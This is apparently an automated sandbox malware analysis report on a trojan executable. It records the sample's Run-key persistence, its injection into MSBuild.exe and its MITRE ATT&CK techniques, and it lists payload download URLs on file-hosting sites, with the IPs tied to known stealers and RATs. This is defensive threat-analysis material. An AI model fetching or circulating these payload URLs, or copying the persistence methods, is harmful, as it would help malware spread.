Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Queries volume information: C:\Users\user\AppData\Roaming\Fphniv.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Queries volume information: C:\Users\user\AppData\Roaming\Fphniv.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe VolumeInformation

Source: C:\Users\user\Desktop\Kh25PMA7u8.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	311 Process Injection	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	3 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	311 Process Injection	NTDS	1 Remote System Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	4 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Obfuscated Files or Information	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	12 Software Packing	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Kh25PMA7u8.exe	32%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
Kh25PMA7u8.exe	37%	Virustotal		Browse
Kh25PMA7u8.exe	100%	Avira	HEUR/AGEN.1360909
Kh25PMA7u8.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\Fphniv.exe	100%	Avira	HEUR/AGEN.1360909
C:\Users\user\AppData\Roaming\Fphniv.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Fphniv.exe	32%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\AppData\Roaming\Fphniv.exe	37%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.sajatypeworks.como	0%	URL Reputation	safe
http://www.sajatypeworks.como	0%	URL Reputation	safe
http://www.agfamonotype.	0%	URL Reputation	safe
http://www.agfamonotype.	0%	URL Reputation	safe
http://www.ascendercorp.com/typedesigners.html	0%	URL Reputation	safe
http://www.urwpp.de	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://en.w	0%	URL Reputation	safe
http://www.urwpp.ded	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.comGa(c	0%	Avira URL Cloud	safe
http://www.urwpp.deal	0%	Avira URL Cloud	safe
http://www.sajatypeworks.comcomS	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
files.catbox.moe	108.181.20.39	true	false		high
filedn.com	23.109.93.100	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://files.catbox.moe/1eq98g.wav	false		high
https://filedn.com/lTN3WiiT0lphcISvfSuLLhp/xbitz/PureMM.exe	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.sajatypeworks.como	Kh25PMA7u8.exe, 00000000.00000003.368010701.0000023E40542000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.agfamonotype.	Kh25PMA7u8.exe, 00000000.00000003.372984548.0000023E40576000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.html	Kh25PMA7u8.exe, 00000000.00000003.374328993.0000023E40567000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/frere-jones.htmlalaOnc	Kh25PMA7u8.exe, 00000000.00000003.373600448.0000023E40567000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.sajatypeworks.comGa(c	Kh25PMA7u8.exe, 00000000.00000003.368010701.0000023E40542000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.ascendercorp.com/typedesigners.html	Kh25PMA7u8.exe, 00000000.00000003.370854144.0000023E40544000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deal	Kh25PMA7u8.exe, 00000000.00000003.375619638.0000023E40567000.00000004.00000020.00020000.00000000.sdmp, Kh25PMA7u8.exe, 00000000.00000003.375697593.0000023E4056A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/frere-jones.htmlT	Kh25PMA7u8.exe, 00000000.00000003.373600448.0000023E40567000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.urwpp.de	Kh25PMA7u8.exe, 00000000.00000003.372320174.0000023E40547000.00000004.00000020.00020000.00000000.sdmp, Kh25PMA7u8.exe, 00000000.00000003.372345612.0000023E40548000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com	Kh25PMA7u8.exe, 00000000.00000003.370854144.0000023E40544000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://en.w	Kh25PMA7u8.exe, 00000000.00000003.367366766.0000023E40532000.00000004.00000020.00020000.00000000.sdmp, Kh25PMA7u8.exe, 00000000.00000003.370266165.0000023E40541000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.ded	Kh25PMA7u8.exe, 00000000.00000003.372320174.0000023E40547000.00000004.00000020.00020000.00000000.sdmp, Kh25PMA7u8.exe, 00000000.00000003.372401842.0000023E40548000.00000004.00000020.00020000.00000000.sdmp, Kh25PMA7u8.exe, 00000000.00000003.372345612.0000023E40548000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	Kh25PMA7u8.exe, 00000000.00000003.368010701.0000023E40542000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.comcomS	Kh25PMA7u8.exe, 00000000.00000003.368010701.0000023E40542000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
108.181.20.39	files.catbox.moe	Canada		852	ASN852CA	false
23.109.93.100	filedn.com	Netherlands		7979	SERVERS-COMUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	38.0.0 Beryl
Analysis ID:	1290586
Start date and time:	2023-08-13 08:40:06 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	Kh25PMA7u8.exe
Original Sample Name:	653246c59c4000245807a78407f44747.exe
Detection:	MAL
Classification:	mal96.evad.winEXE@12/18@6/3
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WerFault.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 20.223.35.26, 20.90.152.133, 20.82.154.241, 20.82.228.9, 20.111.58.202, 20.234.120.54, 20.90.153.243, 20.190.181.0, 20.190.181.5, 20.190.181.1, 40.126.53.17, 20.190.181.6, 20.190.181.23, 40.126.53.18, 40.126.53.21, 104.208.16.94, 20.189.173.20
Excluded domains from analysis (whitelisted): eudb.ris.api.iris.microsoft.com, asf-ris-prod-neu-azsc.northeurope.cloudapp.azure.com, arc.msn.com, wns.notify.trafficmanager.net, rp-consumer-prod-displaycatalog-geomap.trafficmanager.net, login.live.com, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, ris-prod-eudb.trafficmanager.net, onedsblobprdcus16.centralus.cloudapp.azure.com, client.wns.windows.com, prdv4a.aadg.msidentity.com, www.tm.v4.a.prd.aadg.akadns.net, ris-prod.trafficmanager.net, onedsblobprdwus15.westus.cloudapp.azure.com, asf-ris-prod-frc-pub.francecentral.cloudapp.azure.com, neus1c-displaycatalog.frontdoor.bigcatalog.commerce.microsoft.com, login.msa.msidentity.com, ris.api.iris.microsoft.com, neus2c-displaycatalog.frontdoor.bigcatalog.commerce.microsoft.com, blobcollector.events.data.trafficmanager.net, iris-de-prod-azsc-v2-neu.northeurope.cloudapp.azure.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:42:00	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Fphniv C:\Users\user\AppData\Roaming\Fphniv.exe
08:42:04	API Interceptor	86x Sleep call for process: MSBuild.exe modified
08:42:08	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Fphniv C:\Users\user\AppData\Roaming\Fphniv.exe
08:43:32	API Interceptor	3x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
108.181.20.39	NzS5VdbENI.exe	Get hash	malicious	Unknown	Browse
	05EPfZBH9U.exe	Get hash	malicious	Stealc, Vidar	Browse
	SecuriteInfo.com.Win32.DropperX-gen.10510.20091.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.DropperX-gen.17450.17188.exe	Get hash	malicious	Unknown	Browse
	Zokzni.exe	Get hash	malicious	AgentTesla	Browse
	Zahlungsbeleg.exe	Get hash	malicious	AgentTesla	Browse
	SOA-S0047952700.exe	Get hash	malicious	Unknown	Browse
	DOC08102023.bat.exe	Get hash	malicious	AgentTesla	Browse
	RFQ_NO-2302377_Pdf.exe	Get hash	malicious	Nanocore	Browse
	Factura_Pagadas_al_Vencimiento_pdf.exe	Get hash	malicious	zgRAT	Browse
	VG4gF7V7du.exe	Get hash	malicious	Blank Grabber, zgRAT	Browse
	x4iGt2Zchq.exe	Get hash	malicious	zgRAT	Browse
	Scan_Document_202308078900000000458.pif.exe	Get hash	malicious	Unknown	Browse
	y5ppr5Amwt.exe	Get hash	malicious	Snake Keylogger	Browse
	Doc78531798155SVT.bat.exe	Get hash	malicious	AgentTesla	Browse
	bJvGndrpDr.exe	Get hash	malicious	RHADAMANTHYS	Browse
	QcchaGNSOg.exe	Get hash	malicious	RHADAMANTHYS	Browse
	5GV0jxsDDu.exe	Get hash	malicious	Stealc, Vidar	Browse
	Nbd9QYVbt8.exe	Get hash	malicious	Xmrig, zgRAT	Browse
	DebqeAEi7s.exe	Get hash	malicious	Amadey, RHADAMANTHYS, RedLine	Browse
23.109.93.100	https://workdrive.zoho.com/file/s8yrwa67a53974b474ef79eb70d1033b872c5	Get hash	malicious	HTMLPhisher	Browse
	https://filedn.com/lt87R94Oi7NbcQdmzW2xPrR/link.html	Get hash	malicious	HTMLPhisher	Browse
	https://www.msn.com/en-ca/lifestyle/rf-buying-guides/redirect?rf_click_source=list&rf_client_click_id=000000000&rf_dws_location=&rf_item_id=502238318&rf_list_id=3519472&rf_partner_id=353781453390&rf_source=ebay&url=aHR0cHM6Ly9maWxlZG4uY29tL2x0Q1JsWTNpVGNkN2RjM3UyUm1KdWFTL2xpbmsuaHRtbA	Get hash	malicious	HTMLPhisher	Browse
	https://linkprotect.cudasvc.com/url?a=https%3a%2f%2ffiledn.com%2flmtf06DxeexRuabg6razTLL%2ftestoff%2520%281%29.html&c=E,1,AUxv9bLRdb6z4Onh2l2O8FmlxAdL6LQVGldhTgR8KFlv8YvGIKyFlv1-hY-UfXjR3xzRRYwwojP0y6u691T3MUwR5XBYXeYy3z6tGYugygxG5A,,&typo=1	Get hash	malicious	HTMLPhisher	Browse
	https://filedn.com/l4wKRwVCsRrpY3cYvATRAtF/Execl.html?email=ron@weasley.com	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
filedn.com	https://workdrive.zoho.com/file/s8yrwa67a53974b474ef79eb70d1033b872c5	Get hash	malicious	HTMLPhisher	Browse	23.109.93.100
	https://filedn.com/lt87R94Oi7NbcQdmzW2xPrR/link.html	Get hash	malicious	HTMLPhisher	Browse	23.109.93.100
	https://www.msn.com/en-ca/lifestyle/rf-buying-guides/redirect?rf_click_source=list&rf_client_click_id=000000000&rf_dws_location=&rf_item_id=502238318&rf_list_id=3519472&rf_partner_id=353781453390&rf_source=ebay&url=aHR0cHM6Ly9maWxlZG4uY29tL2x0Q1JsWTNpVGNkN2RjM3UyUm1KdWFTL2xpbmsuaHRtbA	Get hash	malicious	HTMLPhisher	Browse	23.109.93.100
	https://linkprotect.cudasvc.com/url?a=https%3a%2f%2ffiledn.com%2flmtf06DxeexRuabg6razTLL%2ftestoff%2520%281%29.html&c=E,1,AUxv9bLRdb6z4Onh2l2O8FmlxAdL6LQVGldhTgR8KFlv8YvGIKyFlv1-hY-UfXjR3xzRRYwwojP0y6u691T3MUwR5XBYXeYy3z6tGYugygxG5A,,&typo=1	Get hash	malicious	HTMLPhisher	Browse	23.109.93.100
	https://filedn.com/l4wKRwVCsRrpY3cYvATRAtF/Execl.html?email=ron@weasley.com	Get hash	malicious	HTMLPhisher	Browse	23.109.93.100
	http://click.icptrack.com/icp/relay.php?r=523252&msgid=5232528&act=F00B&c=1778479&destination=filedn.com/l1EfqtPaVBGLLX3swsRQleJ/0938477716636654546663/323004848847747733324	Get hash	malicious	Unknown	Browse	23.111.17.12
	http://click.icptrack.com/icp/relay.php?r=282228&msgid=2822288&act=F00B&c=1778479&destination=filedn.com/lKPUaEEvEDFyaAnbfEh4Vly/9576443198774433345676870998878/098767543321776544578908897654334#toto@groupe-burrus.tech	Get hash	malicious	Unknown	Browse	23.111.17.12
files.catbox.moe	NzS5VdbENI.exe	Get hash	malicious	Unknown	Browse	108.181.20.39
	05EPfZBH9U.exe	Get hash	malicious	Stealc, Vidar	Browse	108.181.20.39
	SecuriteInfo.com.Win32.DropperX-gen.10510.20091.exe	Get hash	malicious	Unknown	Browse	108.181.20.39
	SecuriteInfo.com.Win64.DropperX-gen.17450.17188.exe	Get hash	malicious	Unknown	Browse	108.181.20.39
	Zokzni.exe	Get hash	malicious	AgentTesla	Browse	108.181.20.39
	Zahlungsbeleg.exe	Get hash	malicious	AgentTesla	Browse	108.181.20.39
	SOA-S0047952700.exe	Get hash	malicious	Unknown	Browse	108.181.20.39
	DOC08102023.bat.exe	Get hash	malicious	AgentTesla	Browse	108.181.20.39
	RFQ_NO-2302377_Pdf.exe	Get hash	malicious	Nanocore	Browse	108.181.20.39
	Factura_Pagadas_al_Vencimiento_pdf.exe	Get hash	malicious	zgRAT	Browse	108.181.20.39
	VG4gF7V7du.exe	Get hash	malicious	Blank Grabber, zgRAT	Browse	108.181.20.39
	x4iGt2Zchq.exe	Get hash	malicious	zgRAT	Browse	108.181.20.39
	Scan_Document_202308078900000000458.pif.exe	Get hash	malicious	Unknown	Browse	108.181.20.39
	y5ppr5Amwt.exe	Get hash	malicious	Snake Keylogger	Browse	108.181.20.39
	Doc78531798155SVT.bat.exe	Get hash	malicious	AgentTesla	Browse	108.181.20.39
	bJvGndrpDr.exe	Get hash	malicious	RHADAMANTHYS	Browse	108.181.20.39
	QcchaGNSOg.exe	Get hash	malicious	RHADAMANTHYS	Browse	108.181.20.39
	5GV0jxsDDu.exe	Get hash	malicious	Stealc, Vidar	Browse	108.181.20.39
	Nbd9QYVbt8.exe	Get hash	malicious	Xmrig, zgRAT	Browse	108.181.20.39
	DebqeAEi7s.exe	Get hash	malicious	Amadey, RHADAMANTHYS, RedLine	Browse	108.181.20.39

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASN852CA	NzS5VdbENI.exe	Get hash	malicious	Unknown	Browse	108.181.20.39
	05EPfZBH9U.exe	Get hash	malicious	Stealc, Vidar	Browse	108.181.20.39
	SecuriteInfo.com.Win32.DropperX-gen.10510.20091.exe	Get hash	malicious	Unknown	Browse	108.181.20.39
	SecuriteInfo.com.Win64.DropperX-gen.17450.17188.exe	Get hash	malicious	Unknown	Browse	108.181.20.39
	Zokzni.exe	Get hash	malicious	AgentTesla	Browse	108.181.20.39
	Zahlungsbeleg.exe	Get hash	malicious	AgentTesla	Browse	108.181.20.39
	SOA-S0047952700.exe	Get hash	malicious	Unknown	Browse	108.181.20.39
	DOC08102023.bat.exe	Get hash	malicious	AgentTesla	Browse	108.181.20.39
	sora.arm7.elf	Get hash	malicious	Mirai	Browse	207.81.69.12
	HxTjtCwHSe.elf	Get hash	malicious	Mirai	Browse	108.172.106.45
	9lwUQYFuup.elf	Get hash	malicious	Mirai	Browse	154.11.230.240
	TyC77p14QO.elf	Get hash	malicious	Mirai	Browse	161.187.17.138
	sora.arm.elf	Get hash	malicious	Mirai	Browse	207.6.180.51
	RFQ_NO-2302377_Pdf.exe	Get hash	malicious	Nanocore	Browse	108.181.20.39
	GgXl42SYB5.elf	Get hash	malicious	Mirai	Browse	209.171.181.117
	pandora.arm.elf	Get hash	malicious	Mirai	Browse	154.20.194.196
	Factura_Pagadas_al_Vencimiento_pdf.exe	Get hash	malicious	zgRAT	Browse	108.181.20.39
	VG4gF7V7du.exe	Get hash	malicious	Blank Grabber, zgRAT	Browse	108.181.20.39
	iojdGF3xsj.elf	Get hash	malicious	Mirai	Browse	108.172.131.163
	x4iGt2Zchq.exe	Get hash	malicious	zgRAT	Browse	108.181.20.39

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	t8S1WnndfZ.exe	Get hash	malicious	RedLine	Browse	108.181.20.39 23.109.93.100
	Activator_Windows,_Office.exe	Get hash	malicious	RedLine	Browse	108.181.20.39 23.109.93.100
	NEW_User0_v2.ps1	Get hash	malicious	Unknown	Browse	108.181.20.39 23.109.93.100
	NUUWkRfjsD.exe	Get hash	malicious	RedLine	Browse	108.181.20.39 23.109.93.100
	LOI-FUEL_OIL-8723.js	Get hash	malicious	AgentTesla	Browse	108.181.20.39 23.109.93.100
	FedEx_AWB#_108235019763.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	108.181.20.39 23.109.93.100
	SWIFT_251017_WA89023.xll.dll	Get hash	malicious	AgentTesla, DarkTortilla	Browse	108.181.20.39 23.109.93.100
	NzS5VdbENI.exe	Get hash	malicious	Unknown	Browse	108.181.20.39 23.109.93.100
	HmS2QptgRa.exe	Get hash	malicious	AsyncRAT, DarkTortilla, StormKitty	Browse	108.181.20.39 23.109.93.100
	f9a4620f23e2486480307c9a1ac92ee2783f2828bf8e8.exe	Get hash	malicious	RedLine, Xmrig	Browse	108.181.20.39 23.109.93.100
	support.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	108.181.20.39 23.109.93.100
	SecuriteInfo.com.Win32.PWSX-gen.21960.16998.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	108.181.20.39 23.109.93.100
	support.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	108.181.20.39 23.109.93.100
	05EPfZBH9U.exe	Get hash	malicious	Stealc, Vidar	Browse	108.181.20.39 23.109.93.100
	asdqwe.hta	Get hash	malicious	NetSupport RAT, Cobalt Strike	Browse	108.181.20.39 23.109.93.100
	xcvcxvxcvv.hta	Get hash	malicious	NetSupport RAT, Cobalt Strike	Browse	108.181.20.39 23.109.93.100
	miracle.hta	Get hash	malicious	NetSupport RAT, Cobalt Strike	Browse	108.181.20.39 23.109.93.100
	IMG_WA0011434664646466463435500054434434.exe	Get hash	malicious	FormBook	Browse	108.181.20.39 23.109.93.100
	RFQ81000045320000453210005656.tar	Get hash	malicious	Unknown	Browse	108.181.20.39 23.109.93.100
	1f.exe	Get hash	malicious	AgentTesla	Browse	108.181.20.39 23.109.93.100

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_42b15cca1c892b691cdaca2af3b5e7c20459962_36e2db0b_0bb9fac6\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3191647924523353
Encrypted:	false
SSDEEP:	192:JCjj8WpKPHjbOSayehXO9/xhuJIy7/u7sTS274ltn:StajbOSaNO7y7/u7sTX4ltn
MD5:	83BA351846A3D9272A1A49308D86C811
SHA1:	BB2A0E5F8F0EFC86B3355F4921B584D09AEB98B3
SHA-256:	82976B25C387D55EA5510E02E37A618682E51E20C4A4905D7A3A128D084AC929
SHA-512:	7AFF708173377D172283FB4D1612F16C5A26471C86AC0126C29624B25C921305D7D7265A897DAF172075B0A3F398E9742BA9BD1D8A44DF8E36E155CD5F2AFB85
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.3.6.4.1.5.0.8.2.9.9.7.6.8.5.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.3.6.4.1.5.0.8.5.0.4.4.5.5.7.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.c.a.1.7.4.b.5.-.6.d.f.f.-.4.6.9.4.-.a.4.3.9.-.9.0.0.a.e.1.8.5.d.9.8.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.b.f.6.6.e.6.5.-.0.6.0.b.-.4.3.0.0.-.b.2.b.f.-.3.5.7.5.d.9.2.b.f.0.c.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.5.8.8.-.0.0.0.1.-.0.0.2.7.-.9.9.b.8.-.3.e.e.c.f.c.c.d.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.c.7.2.e.5.7.f.b.3.f.4.0.c.a.3.e.9.8.4.b.b.b.7.7.1.f.1.c.5.9.6.6.e.3.b.4.0.c.3.6.!.M.S.B.u.i.l.d...e.x.e.....T.a.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_42b15cca1c892b691cdaca2af3b5e7c20459962_36e2db0b_1389fa69\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.318665436249183
Encrypted:	false
SSDEEP:	192:JQGw1Wp0PHjbOSayehXO9/xhuJIy7/u7sTS274ltnm:6sEjbOSaNO7y7/u7sTX4ltnm
MD5:	E200544FD001A3C8E7B6AA5490B50341
SHA1:	671A6573EA018984B9BFFABE2E24ED36CB726A69
SHA-256:	A69AF52DA7687AF4B5FDE0C60EAC5F2D09FCE432FE89F4875349B60040A2E691
SHA-512:	D9CFF2395212721B9E65FB2F133C2E243A50FEFE9FD345727C66D0F13834FEDB5FAC3B9DA0F142679901D986283609ED6014F061659FF96448EE382F0281F5EE
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.3.6.4.1.5.0.8.2.8.3.8.6.5.2.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.3.6.4.1.5.0.8.5.0.4.1.7.7.4.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.7.6.d.1.a.3.6.-.b.9.a.0.-.4.b.6.e.-.b.d.d.2.-.0.4.8.7.e.2.0.9.f.e.6.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.5.3.1.5.8.9.4.-.8.2.7.a.-.4.8.b.9.-.a.a.7.f.-.1.f.4.1.2.0.1.c.1.8.8.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.f.a.8.-.0.0.0.1.-.0.0.2.7.-.3.d.2.6.-.2.7.f.0.f.c.c.d.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.c.7.2.e.5.7.f.b.3.f.4.0.c.a.3.e.9.8.4.b.b.b.7.7.1.f.1.c.5.9.6.6.e.3.b.4.0.c.3.6.!.M.S.B.u.i.l.d...e.x.e.....T.a.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_42b15cca1c892b691cdaca2af3b5e7c20459962_36e2db0b_1b1cda62\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.319060029890015
Encrypted:	false
SSDEEP:	192:J+GTAWp1PHjbOSayehXO9/xhuJIy7/u7s4S274ltn:TxtjbOSaNO7y7/u7s4X4ltn
MD5:	3AC4EB345F51E6220B03EC9FCFC1344C
